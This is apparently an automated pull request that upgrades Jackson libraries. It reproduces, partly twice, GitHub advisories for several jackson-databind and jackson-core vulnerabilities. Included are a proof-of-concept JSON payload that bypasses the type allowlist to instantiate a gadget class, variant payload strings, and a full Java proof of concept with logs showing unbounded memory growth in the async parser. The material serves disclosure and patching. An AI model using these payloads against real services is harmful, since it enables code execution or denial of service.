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security(maven): 🛡️ minor 🛡️ vulnerability [high] - #70

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security(maven): 🛡️ minor 🛡️ vulnerability [high]#70
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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
com.fasterxml.jackson.core:jackson-databind (source) 2.15.0 → 2.18.9 age adoption passing confidence
com.fasterxml.jackson.core:jackson-core 2.15.0 → 2.18.8 age adoption passing confidence

jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)

CVE-2026-54513 / GHSA-rmj7-2vxq-3g9f

More information

Details

Summary

BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.

Impact

Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.

Affected / Patched (verified via git tag --contains)
  • 2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity / CWE

Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.

Upstream fix

FasterXML/jackson-databind#5981; fix PR #​5983 (24529da), 2.18 backport PR #​5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation

CVE-2026-54512 / GHSA-j3rv-43j4-c7qm

More information

Details

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact
  • Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
  • Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
  • Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID Smuggled type position
java.util.ArrayList<Evil> list element
java.util.HashMap<Evil,String> map key
java.util.HashMap<String,Evil> map value
java.util.ArrayList<java.util.ArrayList<Evil>> nested element
java.util.ArrayList<Evil[]> array element
Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has case-insensitive deserialization bypasses per-property @​JsonIgnoreProperties

CVE-2026-54515 / GHSA-5jmj-h7xm-6q6v

More information

Details

Summary

In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.

Impact

An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).

Affected / Patched

Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.

Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915.

Upstream fix

FasterXML/jackson-databind#5962 (PR #​5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)

CVE-2026-54514 / GHSA-hgj6-7826-r7m5

More information

Details

Summary

JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.

Impact

An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.

Affected / Patched (verified via git tag --contains on 1f5a103)
  • 2.18 line: >= 2.18.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4
Severity / CWE

Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).

Upstream fix

FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: @​JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy

CVE-2026-59888 / GHSA-3pjw-73gf-8qr5

More information

Details

Summary

For Java Records, POJOPropertiesCollector._removeUnwantedIgnorals() records a @JsonIgnore-annotated component under its original implicit name before _renameUsing() applies the PropertyNamingStrategy. After the rename, _ignoredPropertyNames still holds only the pre-rename name, so _ignorableProps is built from the stale key. The renamed JSON key passes IgnorePropertiesUtil.shouldIgnore() and is assigned to the Record's constructor parameter, defeating the @JsonIgnore.

Impact

A Record using a naming strategy that relies on @JsonIgnore to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).

Affected / Patched (verified via git tag --contains)
  • 2.15-2.18 line: >= 2.15.0, < 2.18.8 -> fixed in 2.18.8 (backport c7c6783)
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#​5974, baa2cdf)
Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: @​JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy

CVE-2026-59888 / GHSA-3pjw-73gf-8qr5

More information

Details

Summary

For Java Records, POJOPropertiesCollector._removeUnwantedIgnorals() records a @JsonIgnore-annotated component under its original implicit name before _renameUsing() applies the PropertyNamingStrategy. After the rename, _ignoredPropertyNames still holds only the pre-rename name, so _ignorableProps is built from the stale key. The renamed JSON key passes IgnorePropertiesUtil.shouldIgnore() and is assigned to the Record's constructor parameter, defeating the @JsonIgnore.

Impact

A Record using a naming strategy that relies on @JsonIgnore to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).

Affected / Patched (verified via git tag --contains)
  • 2.15-2.18 line: >= 2.15.0, < 2.18.8 -> fixed in 2.18.8 (backport c7c6783)
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#​5974, baa2cdf)
Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)

CVE-2026-54514 / GHSA-hgj6-7826-r7m5

More information

Details

Summary

JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.

Impact

An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.

Affected / Patched (verified via git tag --contains on 1f5a103)
  • 2.18 line: >= 2.18.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4
Severity / CWE

Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).

Upstream fix

FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation

CVE-2026-54512 / GHSA-j3rv-43j4-c7qm

More information

Details

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact
  • Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
  • Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
  • Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID Smuggled type position
java.util.ArrayList<Evil> list element
java.util.HashMap<Evil,String> map key
java.util.HashMap<String,Evil> map value
java.util.ArrayList<java.util.ArrayList<Evil>> nested element
java.util.ArrayList<Evil[]> array element
Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)

CVE-2026-54513 / GHSA-rmj7-2vxq-3g9f

More information

Details

Summary

BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.

Impact

Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.

Affected / Patched (verified via git tag --contains)
  • 2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity / CWE

Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.

Upstream fix

FasterXML/jackson-databind#5981; fix PR #​5983 (24529da), 2.18 backport PR #​5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has case-insensitive deserialization bypasses per-property @​JsonIgnoreProperties

CVE-2026-54515 / GHSA-5jmj-h7xm-6q6v

More information

Details

Summary

In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.

Impact

An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).

Affected / Patched

Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.

Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915.

Upstream fix

FasterXML/jackson-databind#5962 (PR #​5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)

GHSA-r7wm-3cxj-wff9

More information

Details

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#​1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).

This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.

Affected versions

Verified on the patched releases:

  • com.fasterxml.jackson.core:jackson-core 2.18.6
  • com.fasterxml.jackson.core:jackson-core 2.21.1

Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.

Affected code

src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.

Site 1 — _startPositiveNumber(int ch) lines 1320-1330:
if (outPtr >= outBuf.length) {
    // NOTE: must expand to ensure contents all in a single buffer (to keep
    // other parts of parsing simpler)
    outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
    _minorState = MINOR_NUMBER_INTEGER_DIGITS;
    _textBuffer.setCurrentLength(outPtr);
    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)
}
Site 2 — _finishNumberIntegralPart lines 1691-1727:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
    int negMod = _numberNegative ? -1 : 0;

    while (true) {
        if (_inputPtr >= _inputEnd) {
            _minorState = MINOR_NUMBER_INTEGER_DIGITS;
            _textBuffer.setCurrentLength(outPtr);
            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)
        }
        int ch = getByteFromBuffer(_inputPtr) & 0xFF;
        if (ch < INT_0) {
            if (ch == INT_PERIOD) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        if (ch > INT_9) {
            if ((ch | 0x20) == INT_e) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        ++_inputPtr;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
    }
    _setIntLength(outPtr+negMod);            // <-- validated here
    _textBuffer.setCurrentLength(outPtr);
    return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}

The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.

Compare with the fraction path that is correct

_finishFloatFraction lines 1827-1838:

while (loop) {
    if (ch >= INT_0 && ch <= INT_9) {
        ++fractLen;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
        if (_inputPtr >= _inputEnd) {
            _textBuffer.setCurrentLength(outPtr);
            _setFractLength(fractLen);          // <-- VALIDATED
            return JsonToken.NOT_AVAILABLE;
        }
        ch = getNextSignedByteFromBuffer();
    }
    ...
}
Impact

Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.

The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.

CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.

Proof of concept

Standalone PoC, no Maven required:

mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Sanity: synchronous parser rejects 5000-digit int.
        try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
            while (p.nextToken() != null) { /* drive */ }
            System.out.println("[-] BUG ABSENT: sync parser accepted");
            return;
        } catch (Exception e) {
            System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
        }

        // Bug: async parser, chunked, no terminator.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("[-] unexpected token: " + t);
                return;
            }
        }
        System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");

        // Closing the number now finally triggers the validator.
        feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
        feeder.endOfInput();
        try {
            while (ap.nextToken() != null) { /* drive */ }
        } catch (Exception e) {
            System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
        }
        ap.close();
    }
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC

Observed output against jackson-core-2.18.6:

[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)

Observed output against jackson-core-2.21.1: identical.

The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.

End-to-end reproduction through real HTTP

Supplements the standalone PoC with a running Spring Boot WebFlux server,
driving the same bug through the actual reactor-netty + Jackson2JsonDecoder
streaming-decode path that production reactive endpoints use.

Setup:

  • Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
  • jackson-databind 2.17.2, jackson-core overridden:
    • VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
    • PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
  • JVM: OpenJDK 17.0.18
  • Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()

Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.

VULN — jackson-core 2.18.7:

[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
       Number value length (50000) exceeds the maximum allowed (1000, ...)

Server-side controller trace (250 DataBuffer arrivals elided):

[ctrl] DataBuffer arrived size=6   ms=39       <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...

Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.

PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):

[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream

Server-side controller trace:

[ctrl] DataBuffer arrived size=6   ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)

Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.

Side-by-side:

Build Chunks accepted before exception Digits buffered Time to detection
jackson-core 2.18.7 250 (full payload) 50,000 (50x the configured limit) 6,548ms — only at terminator
2.18.8-SNAPSHOT (fix branch) 5 1,001 155ms — moment threshold crossed

Note on the default @RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.

Suggested fix

Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:

     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
         int negMod = _numberNegative ? -1 : 0;

         while (true) {
             if (_inputPtr >= _inputEnd) {
                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;
                 _textBuffer.setCurrentLength(outPtr);
+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);
                 return _updateTokenToNA();
             }

